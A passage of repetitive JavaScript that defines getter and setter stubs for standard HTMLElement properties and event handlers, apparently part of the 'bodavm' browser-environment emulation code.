bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "lang_get", arguments)}, set:function lang (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "lang_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "translate", {configurable:true, enumerable:true, get:function translate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "translate_get", arguments)}, set:function translate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "translate_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "dir", {configurable:true, enumerable:true, get:function dir (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "dir_get", arguments)}, set:function dir (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "dir_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "hidden", {configurable:true, enumerable:true, get:function hidden (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "hidden_get", arguments)}, set:function hidden (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "hidden_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "accessKey", {configurable:true, enumerable:true, get:function accessKey (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "accessKey_get", arguments)}, set:function accessKey (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "accessKey_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "draggable", {configurable:true, enumerable:true, get:function draggable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "draggable_get", arguments)}, set:function draggable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "draggable_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "spellcheck", {configurable:true, enumerable:true, get:function spellcheck (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "spellcheck_get", arguments)}, set:function spellcheck (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "spellcheck_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "autocapitalize", {configurable:true, enumerable:true, get:function autocapitalize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "autocapitalize_get", arguments)}, set:function autocapitalize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "autocapitalize_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "contentEditable", {configurable:true, enumerable:true, get:function contentEditable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "contentEditable_get", arguments)}, set:function contentEditable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "contentEditable_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "enterKeyHint", {configurable:true, enumerable:true, get:function enterKeyHint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "enterKeyHint_get", arguments)}, set:function enterKeyHint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "enterKeyHint_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "isContentEditable", {configurable:true, enumerable:true, get:function isContentEditable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "isContentEditable_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "inputMode", {configurable:true, enumerable:true, get:function inputMode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "inputMode_get", arguments)}, set:function inputMode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "inputMode_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "virtualKeyboardPolicy", {configurable:true, enumerable:true, get:function virtualKeyboardPolicy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "virtualKeyboardPolicy_get", arguments)}, set:function virtualKeyboardPolicy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "virtualKeyboardPolicy_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "offsetParent", {configurable:true, enumerable:true, get:function offsetParent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "offsetParent_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "offsetTop", {configurable:true, enumerable:true, get:function offsetTop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "offsetTop_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "offsetLeft", {configurable:true, enumerable:true, get:function offsetLeft (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "offsetLeft_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "offsetWidth", {configurable:true, enumerable:true, get:function offsetWidth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "offsetWidth_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "offsetHeight", {configurable:true, enumerable:true, get:function offsetHeight (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "offsetHeight_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "innerText", {configurable:true, enumerable:true, get:function innerText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "innerText_get", arguments)}, set:function innerText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "innerText_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "outerText", {configurable:true, enumerable:true, get:function outerText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "outerText_get", arguments)}, set:function outerText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "outerText_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onbeforexrselect", {configurable:true, enumerable:true, get:function onbeforexrselect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onbeforexrselect_get", arguments)}, set:function onbeforexrselect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onbeforexrselect_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onabort", {configurable:true, enumerable:true, get:function onabort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onabort_get", arguments)}, set:function onabort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onabort_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onbeforeinput", {configurable:true, enumerable:true, get:function onbeforeinput (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onbeforeinput_get", arguments)}, set:function onbeforeinput (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onbeforeinput_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onblur", {configurable:true, enumerable:true, get:function onblur (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onblur_get", arguments)}, set:function onblur (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onblur_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "oncancel", {configurable:true, enumerable:true, get:function oncancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncancel_get", arguments)}, set:function oncancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncancel_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "oncanplay", {configurable:true, enumerable:true, get:function oncanplay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncanplay_get", arguments)}, set:function oncanplay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncanplay_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "oncanplaythrough", {configurable:true, enumerable:true, get:function oncanplaythrough (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncanplaythrough_get", arguments)}, set:function oncanplaythrough (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncanplaythrough_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onchange", {configurable:true, enumerable:true, get:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onchange_get", arguments)}, set:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onchange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onclick", {configurable:true, enumerable:true, get:function onclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onclick_get", arguments)}, set:function onclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onclick_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onclose", {configurable:true, enumerable:true, get:function onclose (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onclose_get", arguments)}, set:function onclose (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onclose_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "oncontextlost", {configurable:true, enumerable:true, get:function oncontextlost (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncontextlost_get", arguments)}, set:function oncontextlost (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncontextlost_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "oncontextmenu", {configurable:true, enumerable:true, get:function oncontextmenu (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncontextmenu_get", arguments)}, set:function oncontextmenu (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncontextmenu_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "oncontextrestored", {configurable:true, enumerable:true, get:function oncontextrestored (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncontextrestored_get", arguments)}, set:function oncontextrestored (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncontextrestored_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "oncuechange", {configurable:true, enumerable:true, get:function oncuechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncuechange_get", arguments)}, set:function oncuechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncuechange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "ondblclick", {configurable:true, enumerable:true, get:function ondblclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondblclick_get", arguments)}, set:function ondblclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondblclick_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "ondrag", {configurable:true, enumerable:true, get:function ondrag (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondrag_get", arguments)}, set:function ondrag (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondrag_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "ondragend", {configurable:true, enumerable:true, get:function ondragend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondragend_get", arguments)}, set:function ondragend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondragend_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "ondragenter", {configurable:true, enumerable:true, get:function ondragenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondragenter_get", arguments)}, set:function ondragenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondragenter_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "ondragleave", {configurable:true, enumerable:true, get:function ondragleave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondragleave_get", arguments)}, set:function ondragleave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondragleave_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "ondragover", {configurable:true, enumerable:true, get:function ondragover (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondragover_get", arguments)}, set:function ondragover (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondragover_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "ondragstart", {configurable:true, enumerable:true, get:function ondragstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondragstart_get", arguments)}, set:function ondragstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondragstart_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "ondrop", {configurable:true, enumerable:true, get:function ondrop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondrop_get", arguments)}, set:function ondrop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondrop_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "ondurationchange", {configurable:true, enumerable:true, get:function ondurationchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondurationchange_get", arguments)}, set:function ondurationchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ondurationchange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onemptied", {configurable:true, enumerable:true, get:function onemptied (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onemptied_get", arguments)}, set:function onemptied (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onemptied_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onended", {configurable:true, enumerable:true, get:function onended (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onended_get", arguments)}, set:function onended (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onended_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onerror", {configurable:true, enumerable:true, get:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onerror_get", arguments)}, set:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onerror_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onfocus", {configurable:true, enumerable:true, get:function onfocus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onfocus_get", arguments)}, set:function onfocus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onfocus_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onformdata", {configurable:true, enumerable:true, get:function onformdata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onformdata_get", arguments)}, set:function onformdata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onformdata_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "oninput", {configurable:true, enumerable:true, get:function oninput (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oninput_get", arguments)}, set:function oninput (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oninput_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "oninvalid", {configurable:true, enumerable:true, get:function oninvalid (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oninvalid_get", arguments)}, set:function oninvalid (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oninvalid_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onkeydown", {configurable:true, enumerable:true, get:function onkeydown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onkeydown_get", arguments)}, set:function onkeydown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onkeydown_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onkeypress", {configurable:true, enumerable:true, get:function onkeypress (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onkeypress_get", arguments)}, set:function onkeypress (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onkeypress_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onkeyup", {configurable:true, enumerable:true, get:function onkeyup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onkeyup_get", arguments)}, set:function onkeyup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onkeyup_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onload", {configurable:true, enumerable:true, get:function onload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onload_get", arguments)}, set:function onload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onload_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onloadeddata", {configurable:true, enumerable:true, get:function onloadeddata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onloadeddata_get", arguments)}, set:function onloadeddata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onloadeddata_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onloadedmetadata", {configurable:true, enumerable:true, get:function onloadedmetadata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onloadedmetadata_get", arguments)}, set:function onloadedmetadata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onloadedmetadata_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onloadstart", {configurable:true, enumerable:true, get:function onloadstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onloadstart_get", arguments)}, set:function onloadstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onloadstart_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onmousedown", {configurable:true, enumerable:true, get:function onmousedown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmousedown_get", arguments)}, set:function onmousedown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmousedown_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onmouseenter", {configurable:true, enumerable:true, get:function onmouseenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmouseenter_get", arguments)}, set:function onmouseenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmouseenter_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onmouseleave", {configurable:true, enumerable:true, get:function onmouseleave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmouseleave_get", arguments)}, set:function onmouseleave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmouseleave_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onmousemove", {configurable:true, enumerable:true, get:function onmousemove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmousemove_get", arguments)}, set:function onmousemove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmousemove_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onmouseout", {configurable:true, enumerable:true, get:function onmouseout (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmouseout_get", arguments)}, set:function onmouseout (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmouseout_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onmouseover", {configurable:true, enumerable:true, get:function onmouseover (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmouseover_get", arguments)}, set:function onmouseover (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmouseover_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onmouseup", {configurable:true, enumerable:true, get:function onmouseup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmouseup_get", arguments)}, set:function onmouseup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmouseup_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onmousewheel", {configurable:true, enumerable:true, get:function onmousewheel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmousewheel_get", arguments)}, set:function onmousewheel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onmousewheel_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onpause", {configurable:true, enumerable:true, get:function onpause (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpause_get", arguments)}, set:function onpause (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpause_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onplay", {configurable:true, enumerable:true, get:function onplay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onplay_get", arguments)}, set:function onplay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onplay_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onplaying", {configurable:true, enumerable:true, get:function onplaying (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onplaying_get", arguments)}, set:function onplaying (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onplaying_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onprogress", {configurable:true, enumerable:true, get:function onprogress (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onprogress_get", arguments)}, set:function onprogress (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onprogress_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onratechange", {configurable:true, enumerable:true, get:function onratechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onratechange_get", arguments)}, set:function onratechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onratechange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onreset", {configurable:true, enumerable:true, get:function onreset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onreset_get", arguments)}, set:function onreset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onreset_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onresize", {configurable:true, enumerable:true, get:function onresize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onresize_get", arguments)}, set:function onresize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onresize_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onscroll", {configurable:true, enumerable:true, get:function onscroll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onscroll_get", arguments)}, set:function onscroll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onscroll_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onsecuritypolicyviolation", {configurable:true, enumerable:true, get:function onsecuritypolicyviolation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onsecuritypolicyviolation_get", arguments)}, set:function onsecuritypolicyviolation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onsecuritypolicyviolation_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "onseeked", {configurable:true, enumerable:true, get:function onseeked (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", 